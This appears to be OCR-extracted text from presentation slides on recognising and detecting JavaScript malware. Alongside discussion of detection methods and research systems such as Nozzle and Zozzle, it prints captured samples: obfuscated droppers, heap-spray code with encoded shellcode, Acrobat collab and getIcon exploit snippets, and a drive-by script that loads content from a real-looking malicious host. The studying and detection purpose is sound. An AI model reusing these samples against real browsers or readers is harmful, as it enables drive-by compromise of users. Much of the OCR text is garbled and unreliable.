.getElementById (' wOSu') [oPMI])] = =rkl:Buwcw=1}} catch(jVYE) {lreturn O: "IN F

tfunction WiZI(){ Bwew=1; zLTL=""; for (HZ 28=0; HZ 28<0 (£KwX) +O (REKL [O (REKL

.getElewmentById (' gtuR' ) [oPMI] ) 4+0(VggE () )] (' U3r4' ) [oPNI] ) ;H2Z584+4) { eLTL=zLTL+0C P ro

(REEEt.getElementById| ' grEJ') [oPMI] ) +0(Cs6x) +O (REEL[O(REEL.getElementById (' gtuR’ et vh

| [oPMI])+0(Vegf (1] (' Iswy' ) [oPMI]) +0 (w¥iu) 40 (ChyD) +O(REKL [O(REKE . getElement ById

{'gtuR' ) [oPMI])+0(Vagf())] (' USr4' ) [oPMI])+0 (REKt.getElementById (' xDat') [oPHI]) "x255" 52

+0 (10ORE ()] +CSy7+0 (Drogl) +0( 10hP () ) +WizE+0 (REEL [0 (REEt . getElementEyId( ' gtuR')

[oPMI] )40 (Voagf (117 (' ktMb') [oPMI]) +0 (10hP ()} +H2 2840 (Lorwn (1 ) +0( ZeMI. aboe) +0({ QAKF | Whbg 1

J)4+0(0nan () ) +0(auic () ) +0(fg0u.bylf) +0(C4aY (1) +0(10hF () ) +GWeXl+0 (wkT5) +O (peIT () Dl

+ChEc+0 (REEL [0 (REEL . getElementById (' gtuR') [oPMI] ) +0 (VgL ()] (' e7aF' ) [oPMI]) +0

{SMIX) ; }REEL[O(ZDuZ ) +0 (REKL [O (REKt . getElementById (' grul') [OPMI] ) +0 (Vggf i) )] ( i08s  Sio

'ndEJ') [oFPMI] )] (=LTL) :ifunction nlrP (vGne) {for (foe8n=0; fo8n<ig3u (O (fEwX) +0 (D3 ja J4fg g

IR ) s fednt+) J83u(foBn) ctryi 1583w (feSn+0 (REEL [O(REEL . getElementById (' gtuRk')

[oFMI] ) +0 (Vogf (1) ] {'mne3' ) [oPMI]) +0 (REEL [O(REKL . getElementEyId (' gruR' ) [oFNI] ) +0 R

(Vg () )] (' zp6s') [oPMI1)) teatch (£fmIK) {} tryd383u (0 (KCPv) +0 (REKL [O(REEL B Im

.getElementById (' gtuR') [oPHI])+0(VoggE() )] ('iLOP') [OoPMI]) ) toatch(yruk) {return

483u (0 (NMgy () | +0 (REKt [QO(REKL . getElementById (' gtuR' ) [oPMI]) +0 (Voo ()] (' wly') gRwWs" | C

[oPMI]}}3nTrP (O (REEL[O(REKL . getElementById (' gruR') [aPMI] ) +0 (Vg () )] (' Br7a') e e _J:J

[OoFMI] ) +0(REEt.getElementById (' hoTm' ) [oPHI]) ) </script> ﬂ_l 3
Make |¥ Escape correction

|Ka|imer0Name = new element("KalimeroMame","Kalmeroyalue");
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ﬂ |location.href

= 5 =y ", = ", =1 '
REKt=docunent ; oPMI="innerHTHL"; OlaH="getElementById"; zhHy='REKtKUTQ navigator FF2.WinkP. 3

bzfK=REKt [OlaH] {'gS5il') [oPHI] ;S3xc=hz£fk navigator FF3.WintP_3:
function Nthl () {return REKt[OlaH] ('kHmZ') [oPNI]} navigator, IE6. WinXP_3¢2
Pujf=REKt.getElementById(' i35Gy’ ) [oPMI] ;viedb='g5i1d3Qz' ; TsOC='g5ileChe’ ;ENn7="n';g5il.evgV=ENn7;q5il.cqrz= gzz:ggiggggmgig-s‘
gaRL Laave; Bivizan Licats avigator IE7.WinkP 3:
function TOWS () {return REKt.getElewentById('YRYV') [oPMI]}gSil. r7d=TOwS () ;g5i1.CT9d=g5i1.Yr7d navigator,IE7_32.Yista_
biKp=function() {return REKt.getElementById('uTrD') [oPHI]} navigator.IE7_64.Vista_

navigator.Opera_951.%

Zuar=REKt.getElementById('Ep2k') [oPMI] ;kHwZ. ApMW=Zuar; YRYV.Ucta=kHnZ. ApHiW navigator.Opera_951_3

gNIE=function() {return REKt[OlaH] ('ldlv') [oPMI]} ;NsbR=gNIE()

h29h=REKt.getElementById{'V7FL') [oPHI]

qroE='kHnZiz8D'

wdRe=function () {return REKt.getElementById(' YuxP') [oPNI]};Ep2k.Wipx=wdRe (]

function e4Uf () {return REKt[OlaH] ('FGet') [oPMI]}

fjzl=function() {return REKt[OlaH] ('yjD1l') [oPMI]};HNab=function() {return £3j21()};function WOnT() {return
HNab () }

function cpugL () {return REKt[OlaH] (' j08s') [oPMI]}

function @azod () {return REKt.getElenmentById('bMvy') [oPNI]}function GaS95() {return azod()}TaSL='bluTaKis'

Kygji=function() {return REKt[OlaH] ('gZUS') [oPNI]}; Wude=Kyqg]() ;l
Runsarpt | " Replace evall) with [evia Fnd ] Templates | wide2Ucs2 |
" Override eval() I Case sensitive ‘ v I I
Debug Format Show eval ult:
—I @ Leave asis [~ Do not bother me with messages coce Srafliesks

|




Disassemble?

=lolx|
Download | Decoder | Misc Decoders | Kalimera Pracessor | Shellcode analyzer | Log | Clipboard Monitor | Motes Hex view IPScriptlTools | settings | About |
0x000 | ES00 0000 005D 83C5 14B9 8BO1 0000 BO3D &....]f&.1c...°= Find XOR key

0x010 | 3045 0045 4975 FS9EB 00AD ADAD ADAD ADAD OE.EIuug.-
0x020 | ADD4 C13D 3D3D 6259 9CO0D 3D3D 3D45 31B6 -OA===bYee.
0x030 | 7D31 BE4D 2190 B655 35D6 34B6 7009 BO7D  }1qMIOqUSO4Aq).°}
0x040 | 41B6 5501 B6CA 5739 64D5 B23D 3D3D DFC4 AJU. EWSdSz===p4
0x050 | 5552 533D 3D55 484F 5150 69C2 2BB6 DSD5 URS==UHOQPii+J35
0x060 | 443D 3D3D BGEA 7ABD 023D 48C7 7A6A 7ABD D===(&z.=HGzjzk
0x070 023D 48C7 B6DZ 620E F4BC D139 3C3D 3DB6 .=HGAOb. s4f9<==q
0x080 | EL6C 6F6E 5539 3C3D 3DCZ 6B31 6764 6C6F 4lonUS<==iklgdlo
0x090 | B63F 6E7E BDO6 3D48 C7BC 46C1l 1358 4558 {?n~%:. =HGMFA.XEX
0x040 | 483E BED6 35B4 3EFA 7E39 1358 4558 FB7E H>%05'>0U~9.XEX{~
0x0BO | 353D 66B7 FC39 ODBS 783D OEFD 6D6D 6E6A S=f-i9.pux=.jmmnj
0x0CO | 6DC2 6BZD BECS 3D48 3B57 3C6E C2Z6B 3967 mAk-%A=H;w<nlk9g
0x0D0 | 64BE FF39 7CED 073D 4889 C26B 356C 6BB6 d%y9|%.=HRAKS1kq
0x0EQ | 4801 B649 1345 3ECS 6BB6 4B1D 3ECS OEF4 H.JI.E>EkJK.>E.8 Max key to check:
0x0F0 | 747C S03E F20E E632 832D 07EB 4935 FCF6 t|0>s.22f-.8I516

0x100 | 303E E77D D6CC 0622 48DA 63B6 6319 3EE0 0>¢}OI. "HUcTc.>a

0x110 | SBE6 3176 B663 213E EOB6 39B6 3EFS 9663 [Jlvic!>aq99>e-c Find

XA

0x120 | 64FE D5C2 C3C2 C2B3 7333 D1AS5 C3B7 3343 dpOAAAAss3fi¥i-3c

Strings to find:

Current string:
0x130 | ESDF 4EQOE F7B7 660B 2712 4D4A 776C 4E3D 4&6N.+-f.'.MJwlN=
0x140 | 5549 494D 0712 1205 OF13 0COD OE13 OCOE UIIM............ i
0x150| 0513 0cOD 1251 4E12 0255 0009 631B 5E3D ..... QN..U..c.*=
0x160 (5402 0504 OFSF 5509 0BS8 0DOC ODOD SBOD T...._ ¥..X....[. Key:
0x170 | 0A0D ODOF 595C OBOE 045C 045C ODOB ODOD  ....¥N\...\.\.... IED_
0x180 | 0DOD ODOD ODOD ODOF SEOC 080D OEOC O40E  ........ Ny
0x190 | 0DOD ODOC ODOY ODO4 ODOD ODOD ODOD ODOD  wov v vwwenvewnnn. Apply XOR |
m 0coa -
I~ Unicode I™ Unicode Big Endian [~ Swap hibbles Disassemble |
0000F2 90 nop |
0000F3 3EFS cle
0000FS OE push cs
0000FE E632 out 0x00000032, al
0000F8 832D0O7EB4935FC sub 0x3549EB07, -0x0000000
D0O00FF F630 div al, [eax]
000101 3EE?7D out 0x0000007D, eax
Error: unexpected byte at 000104
The rest of the code contains 160 bytes j




And More

- r
|

function ()

) + KHgCa




Runtime Deobfuscation via Code Unfolding

)4
995) 40 (2020710) +0(216: (21683
02)+0(1986377) +0(2227 (200585
1)40(2021

4
995) 40 (2020710) +0
02) 40 (1386377) 40 (21
1)40(2021303) +0(64

avascrip
Deobfuscator

runtime

n

1949296) +0 (224
09214)+0 (68096
12)+0(1060647)

1949296) +0
09214) +0(680960) +0 M7602) +0 (23464
12) +0(1060647) +0(1045327) +0 (138100
]
o
a

28685) +0(8

browser
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Malicious PDFs

w. PDF Stream Dumper - http://sandsprite.com

Load Exploits_Scan Javascript_UI Unescape_Selection Manual_Escapes Update_Cu

2z Objects |
3 HLen: Ox3E <
4 Ox8B-0x420
5 HLen: Ox3E /8 /JavaScript
6 0x4BS-0x951 /JS 20 0 R
7 HLen: O0x3E S>>
8 Ox9E6-0x13FS Load Explots Sean  lavascgt Ul Urescage Selection Whﬂ W,ﬁnmlm,m Seach Fir  Frdepiace  Tooks
9 HLen: Ox3F 22 Ubjects | p~
10 0x148C-0xlC82 2 MLen: 0x3%
11l HLen: 0x3F 4 0x6D-0x420 IString
1z 0x1D1&-0x21B3 § Men1 Outl
& Ox4DS-0x951
13 HLen: 0x3F 2 Hien: 0x38 (
14 OxZ2Z24B-0xZ7ZE ® OxPRE-Ox1IPS
e e e, 2
. xzl40C-0OxlCO2
15 HLen: Ox4E 11 HLen: 0x37 ]
16 HLen: 0xS0 1T OxADIA~Dz21D3
17 HLen: 0xS2 13 HLen: Ox3¥
2 HLen: 0Ox6F 14 OxiidR-0xg72% (
% 1 Men: 0x6?
18 HLen: 0x30 15 MLen: OxeX oAlpha
19 HLen: 0x20 16 MHLen: Ox50
20 0x2A07-0x3199 :"u:"'"o":;’ )
. -nc 1 4
2l HLen: Ox1llF 19 Rien: 0x30
2Z HLen: 0Ox7S§ 1% MLen: 0x20 ’
Il
331 MLen: OwllV ]
I Mien: Ox74 ~
[:onlolo. show() ;console, printlin(b) ; I
| Streams:7 | J5: 2 | Embeds: O : o
Screana:? | J8: 2 Exbeds: 0 | Pagea: O TIF: O U3p: O flash: O UnkfFic: €

http://sandsprite.com/blogs/index.php?uid=7&pid=57
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Unpacking It Some More

Q X Call

Scripts

view: T -

function get_shellcode (n

var u

var s
"$uC033%u8B64%u3040%u0C?
FulC70%u8BAD%U0EBS8%u0SER
3u8D34%u7C40%uS588B%uGA3Q

get_url (

wvar IyIFve = app.viewerversion.tostring();

it (IyvIFve = Bl
XBEWTM{L];
var iwvwCdy8 = "1299959555959595599999555";

for (RvUSgMOE = 0; RvUSOMOE < 276; RvUSOMOE ++ IVeCyd += "B";
T util.printf " s 5000F", fwwCdwd):

if (IyIFve < B){

XBEWTMLOD;
var UMxacTHb = unescape('%u0cOckuococ');

while (UN<aCTHb. length < 4495270 UnxaCTHh += UnxacTHb;

this .collabstore = collab. collecteEmailinfol] subj @ "M, msg @ UNXaCTHb}D;

1
it (IyIFve < 8.171
EF Capp.doc.collab.getIcond
XBEWTMCO]D;
var eGREUTMw = unescape(''%0%");
while (eGREUTHNw. Tength < Ox400002GREUTMW += 2GREUTMNw;
BGREUTHw = "N." + 2GREUTHw;

app.doc.Collab. getIcon(eGREUTMNW);

1
h
it (IyIFve == 8271
XBEWTM{L);
util.printdC"l, 000000000, 000000000, 1337 & 3.13.37", new Datel));
Tty
1

media. newPlayer (nulll;

} ca
Tt
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Detection Approaches

Static analysis of
JavaScript?

What are the
challenges?

Observe execution

Watch in-browser
behavior

Watch OS effects
Runina VM



How to Recognize JavaScript Malware?

~
M E L G I B SN

LO O k at re p re Se ntative I¢'s Not Like They Didn’t Warn Fls.' o
malware

Find commonalities

Encode them as features




See Anything in Common
R

var MugEZYdx = "%u56e8%u0000%u5300%u5655%u8b57%u246c%u8b18%u3c45%u548b%u7805%ueall...”;
var avlztsbF = "%u0C0C%u0C0C";
var TzsygYnD = "%uOb0b%uObObAAAAAAAAAAAAAAAAAAAAAAAAA";
var eSSOLKOd = unescape(MuqEZYdx);
var pblkPrKa = new Array();
var wSqaQK = 1000;
var xASdnqwj = 0x100000;
var XAFKNqwO = 2;
var oQkmsLLP = 0x01020;
var EibcUrHC = xASdngwj - (eSSOLKOd.length * xAFKNqwO + oQkmsLLP);
var cTAfWBbz = unescape(avlztsbF);
var oKgMIPgL = 0xCO;
while (cTAfWBbz.length < EibcUrHC / xAFKNgwO) {
cTAfWBbz += cTAfWBbz;
}
var GBVpRAcd = cTAfWBbz.substring(0, EibcUrHC / xAFKNgqwO);
delete cTAfWBbz;
for (JyxlaABZ = 0; JyxlaABZ < oKgMIPqL; JyxlaABZ++) {
pblkPrKa[JyxlaABZ] = GBVpRAcd + eSSOLKOd;
}
CollectGarbage();
var fseYOuUZ = unescape(TzsygYnD);

var wxDSxsOR = new Array();



See Anything in Common
R

var MugEZYdx = "%u56e8%u0000%u5300%u5655%u8b57%u246c%u8b18%u3c45%u548b%u7805%ueall...” ;
var aviztsbF = "%u0C0C%u0COC";
var TzsygYnD = "%U0b0b%u0bObAAAAAAAAAAAAAAAAAAAAAAAAA";
var eSSOLKOd = unescape(MuqgEZYdx);
var pblkPrKa = new Array();
var wSgaQK = 1000;
var xASdngwj = 0x100000;
var XAFKNgwO = 2;
var oQkmsLLP = 0x01020;
var EibcUrHC = xASdnqw;j - (eSSOLKOd.length * xAFKNqwO + oQkmsLLP);
var cTAfWBbz = unescape(avlztsbF);
var oKgMIPqL = 0xCO;
while (cTAfWBbz.length < EibcUrHC / xAFKNqwO) {
cTAfWBbz += cTAfWBbz;

}
var GBVpRAcd = cTAfWBbz.substring(0, EibcUrHC / xAFKNgqwO);

delete cTAfWBbz;

for (JyxlaABZ = 0; JyxlaABZ < oKqMIPqL; JyxlaABZ++) {
pblkPrKa[lyxlaABZ] = GBVpRAcd + eSSOLKOd;

}

CollectGarbage();

var fceYOull7 = unescanel(TzsveYnD)-



How About This?

var zmn = null;
try {

zmn = new ActiveXObject("AcroPDF.PDF");
} catch (e) {}
if (1zmn) {

try {

zmn = new ActiveXObject("PDF.PdfCtrl");

} catch (e) {}
}
if (zmn) {

Iv = ((zmn.GetVersions().split(","))[4].split("="))[1].replace(/\./g, "");

if ((Iv < 900) && (lv != 813)) document.write('<embed src="http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=2" width=100 height=100 type="application/pdf"></embed>');
}
try {

var zmn =0;

zmn = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$" + "version").split(",");
} catch (e) {}
if (zmn && (zmn[2] < 124)) document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" wldth 100 helght 100 align= mlddle><param name="movie"
value- http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=3"/><param name="quality" value="high"/><param name="bgcolor" value="#ffffff"/><embed
src="http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=3"/></embed></object>');
var scode =
"%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%UEF33%uE243%UEBFA%UES05%UFFEC%UFFFF%U8B7F%UDFAE%UEFEF%UG64EF%UE3AF%U9F64%ud2 F3%u9F64%uUbEE7%UEFO3%UEFEB%U64EF%uUB903%u61
87%UE1A1%u0703%UEF11%UEFEF%UAA66%UB9EB%U7787%u6511%u07E1%UEF1F%UEFEF%UAA66%UBIE7%uCA87%u105F%u072D%uUEFOD%UEFEF%UAA66%UBIE3%u0087%u0F21%u078F%UEF3B%UEFEF%UAA66%UBIFF%
Uu2E87%u0A96%u0757%UEF29%UEFEF%UAA66%UAFFB%UD76F%Uu9A2C%u6615%uF7AA%UE806%UEFEE%UB1EF%U9A66%u64CB%UEBAA%UEES5%Ub64B6%uUF7BA%U07BI %UEF64%UEFEF%U87BF%UF5D9%u9FC0%u7807%uEF
EF%U66EF%UF3AA%U2A64%u2F6C%U66BF%uCFAA%U1087%UEFEF%UBFEF%UAA64%u85FB%uUB6ED%UBA64%uU07F7%UEF8E%UEFEF%UAAEC%U28CF%UB3EF%UC191%u288A%UEBAF%U8A97%UEFEF%U9A10%ub64CF%UE3AA
%UEE85%u64B6%UF7BA%UAFO7%UEFEF%U85EF%uB7E8%UAAEC%UDCCB%UBC34%ul10BC%UCF9A%UBCBF%UAA64%u85F3%uUB6EA%UBAGA%U07F7%UEFCC%UEFEF%UEF85%U9A10%ub4CF%UE7AA%UED85%Ub64B6%uF7BA%uU
FFO7%UEFEF%U85EF%u6410%uFFAA%UEE85%u64B6%uF7BA%UEFO7%UEFEF%UAEEF%UBDB4%UOEEC%UOEEC%UOEEC%UOEEC%U036C%UBSEB%U64BC%uU0D35%uBD18%u0F10%u64BA%u6403%UE792%uB264%uB9E3%uU9C6

4%u64D3%uF19B%UEC97%uB91C%u9964%uECCF%uDC1C%uA626%ud2AE%u2CEC%UDCBI%UE019%UFF51%ulDD5%UE79B%u212E%UECE2%uUAF1D%ulE04%ul11D4%u9AB1%uB50A%u0464%uB564%UECCB%u8932%uUE364
%u64A4%uF3B5%u32EC%UEB64%UEC64%uB12A%u2DB2%UEFE7%u1B07%u1011%uBA10%uA3BD%UAOA2%UEFAL";

function ek13() {
return true;
}
window.onerror = ek13;

var scodel = unescape(scode +
"%u7468%u7074%uU2F3A%U612F%u7472%u6369%u656C%U2E73%uUb6F6B%U6172%u616A%U632E%U6D6F%U732F%U6F68%U6377%u7461%u702E%U7068%U633F%u6469%u383D%uU2637%UbE63%u4D3D%u7375%u6369%uU



How About This?

var zmn = null;
try {

zmn =new ActiveXObject("AcroPDF.PDF");
}catch (e) {}
if (1zmn) {

try {

zmn = new ActiveXObject("PDF.PdfCtrl");

} catch (e) {}
}
if (zmn) {

Iv = ((zmn.GetVersions().split(","))[4].split("="))[1].replace(/\./g, "");
if ((Iv< 900) && (Iv !=813)) document.write('<embed src="http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=2" width=100 height=100 type="application/pdf"></embed>');

}
try {

var zmn =0;

zmn = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).cetvariable("$" + "version").split(",");
} catch (e) {}

if (zmn && (zmn[2] < 124)) document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" wldth 100 helght 100 align= mlddle><param name="movie"
value— http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=3"/><param name="quality" value="high"/><param name="bgcolor" value="#ffffff"/><embed
src="http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=3"/></embed></object>');

var sScode =
"%u4343%u4343%u4343%u0FEB%uU335B%u66C9%u80B9%u8001%UEF33%uUE243%UEBFA%UES05%UFFEC%UFFFF%u8B7F%uDF4E%UEFEF%UBG4EF%UE3AF%U9F64%u42 F3%u9F64%ub6EE7%UEFO3%UEFEB%U64EF%UB903%u61
87%UE1A1%u0703%UEF11%UEFEF%UAAB6%UBIEB%U7787%u6511%u07E1%UEF1F%UEFEF%UAAB6%UBIE7%uUCA87%ul05F%u072D%uUEFOD%UEFEF%UAA66%UBIE3%uU0087%u0F21%u078F%UEF3B%UEFEF%UAAB6%UBIFF%
U2E87%U0A96%u0757%UEF29%UEFEF%UAAB6%UAFFB%UD76F%Uu9A2C%u6615%uF7AA%UE806%UEFEE%UB1EF%U9A66%u64CB%UEBAA%UEES5%U64B6%UF7BA%U07B9 %UEF64%UEFEF%U87BF%uF5D9%u9FC0%u7807 %uEF
EF%U66EF%UF3AA%U2A64%uU2F6C%U66BF%UCFAA%U1087%UEFEF%UBFEF%UAA64%u85FB%UB6ED%UBAG4%uU07F7%UEF8E%UEFEF%UAAEC%U28CF%UB3EF%uUC191%u288A%UEBAF%U8A97%UEFEF%U9A10%u64CF%UE3AA
%UEE85%U64B6%UF7BA%UAFO07%UEFEF%U85EF%UB7E8%UAAEC%UDCCB%uUBC34%ul0BC%uCF9A%UBCBF%UAA64%u85F3%uB6EA%UBAG64%uU07F7%UEFCC%UEFEF%UEF85%U9A10%u64CF%UE7AA%UED85%u64B6%uF7BA%uU
FFO7%UEFEF%U85EF%u6410%uFFAA%UEE85%U64B6%uF7BA%UEFO7%UEFEF%UAEEF%UBDB4%UOEEC%UOEEC%UOEEC%UOEEC%U036C%UB5EB%U64BC%u0D35%uBD18%u0F10%u64BA%u6403%uUE792%uB264%UB9E3%uU9C6
4%u64D3%uF19B%UEC97%uB91C%u9964%UECCF%uUDC1C%uA626%ud2AE%u2CEC%UDCBI%UE019%UFF51%ulDD5%UE79B%u212E%UECE2%UAF1D%ulE04%ul1D4%u9AB1%uB50A%u0464%uB564%uUECCB%U8932%uE364
%U64A4%UF3B5%u32EC%UEB64%UECE64%uB12A%U2DB2%UEFE7%ul1B07%u1011%uBA10%UA3BD%UAOA2%UEFAL";

function ek13() {

return true;

}

window.onerror = ek13;



t Malware

Nozzle: A Defense Against Heap-sprc¢ Zozzle: Low-overhead Mostly Static JavaScript

'
_

Injection Attacks Malware Detection
[Usenix Security 2009] [Usenix Security 2011}
e Scan heap allocated obiects to identif * Bayesian classification of hierarchical features of the
P J JavaScript abstract syntax tree. In the browser (after
sequences unpacking)
i
i T 5
8.8 -
& =
5ol :
I : =
m =
= o
= o
Z 2
- et e 300 wew e PP P b\‘\"\’ (O\\'?’ b\'\f’ ‘o\'\/z\ ‘o\'@ b\'»“’ (O\’f’ Q)\’f? b\'{'\ (o\’\(}

Logical time (number of allocationsffrees)




A Amazon.com: Online Shopp,.. */ k& OOOO NOTEBOOK BATT... >

€« C M % http://ate9.com.tw/category.php?id=15% » O~ F~

-~
e OOood | Ooood | ooodoo | ooo | gog. —
e =
4l 70 !

A | :
— 00 0000 00000 0000 0000 0000 0000 OO0 ooooo(2-87917300
§8 D00 | 00| XoODOO | UPS | KODaK | 0000000000 Die | [oooo - _ | Search |mlululs]

O0000: 00> O0000> 0000 > 0000 NOTEROOK BATTERY

o mwE/

~ % Shopping Cart
2 ..,"“

B

O000000 0 OOooooad
OO NTO.000O0

mstartl ] ES@ “P 0O0O0 NOTEBOOK BA... ¢ C:\Documents and Settin...l B8 Command Prompt | q)l% *m,?




e | CHWINDOWS' system32h cmd.exe

Mg

' Start




[ Online |
"\x6D"+"\x73\x69\x65

"+"\X20\X36"
..dnhe =

"msie o"

if (navigator.userAgenth;;;;;;EEBbé).indexOf(

"\x6D"+"\x73\x69\x65"+"\x20\x36")>0)
document.write("<iframe src=x6.htm></iframe>");
if (navigator.userAgent.toLowerCase () .indexOf (
"\x6D"+"\xX73"+"\x69"+"\x65"+"\x20"+"\x37")>0)
document.write("<iframe src=x7.htm></iframe>")

try { "\X6D"+"\X73"+"\X69"+"\
var a; var aa=new ActiveXObject ("Sh'"+ X65"+"\x20"+"\x37"

} catch(a) { } finally ({ _
if (a!="[object Error]") o , o

document.write("<iframe src=svfl9\» msie 7
}
try {
var c; var f=new ActiveXObject ("O"+"\x57\x43"+"\x31\x30\x2E\x53"+[..]);

"O"+"\x57\x43"+"\x31\x30\x2E\x5
3"_I_"pr"_l_"ea"_l_"ds"_I_"he"_l_"et"

"OWC10.Spreadsheet" ;
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